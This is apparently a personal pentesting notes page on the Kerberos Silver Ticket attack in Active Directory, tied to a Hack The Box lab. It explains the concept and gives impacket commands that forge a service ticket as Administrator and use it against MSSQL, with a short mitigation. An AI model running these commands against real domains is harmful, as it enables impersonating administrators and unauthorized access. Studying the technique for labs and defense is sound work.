Haiyahhh Hack Vault

Active Directory - Silver Ticket Attack

2 min read

🧠 Active Directory - Silver Ticket Attack

What is it?

  • Concept: A Kerberos TGS is really just a data structure signed with the target service account’s own NTLM hash — the KDC never gets consulted when a service validates one. If an attacker already knows a service account’s NTLM hash, they can forge (“silver”) a completely valid-looking TGS for that service themselves, claiming to be whatever user they like.
  • Impact: Full impersonation of any user (typically Administrator) against the one specific service the forged ticket targets — no communication with the domain controller required at all.

How it works

Unlike a Golden Ticket (forged with the krbtgt hash, valid domain-wide), a Silver Ticket is only ever checked by the single service whose account’s hash was used to sign it — the SPN is baked into the forged ticket. Since the service validates the ticket locally using its own key rather than asking the DC, there’s no easy way for the DC to notice or log the forgery; the “communication” the attacker skips is exactly what a real client/DC exchange would normally involve.

Exploitation

Prerequisites

  • NTLM hash of the target service account’s password
  • The domain SID
  • The SPN of the service being targeted

Attack Vectors

# Domain SID = any user's SID with the trailing RID stripped off
impacket-getPac -targetUser <any_user> <domain>/<user>:<pass>
 
# Forge the ticket (user-id 500 = Administrator's well-known RID)
impacket-ticketer -spn "<service_spn>" -user-id 500 -nthash "<service_account_nt_hash>" \
  -domain <domain> -domain-sid "<domain_sid>" Administrator
 
# Use it
export KRB5CCNAME=Administrator.ccache
impacket-mssqlclient -k <dc_hostname>   # or whichever client matches the forged SPN

Notes

  • The NTLM hash almost always comes from cracking a Active Directory - Kerberoasting hash for that same service account first — the two techniques chain together naturally.
  • Common SPN targets: MSSQLSvc/<host> (MSSQL), HOST/<host> (WMI/task scheduler), CIFS/<host> (file shares) — the forged ticket only works against the service matching its SPN, nothing else.

Mitigation

  • Fix: Rotate service account passwords regularly and keep them long/random enough that Active Directory - Kerberoasting can’t crack them in the first place — if the hash is never recovered, it can never be used to forge a ticket.
FileCreated
HTB - ScrambledMonday, July 20th 2026, 11:37:01 pm

References:

Graph View

Backlinks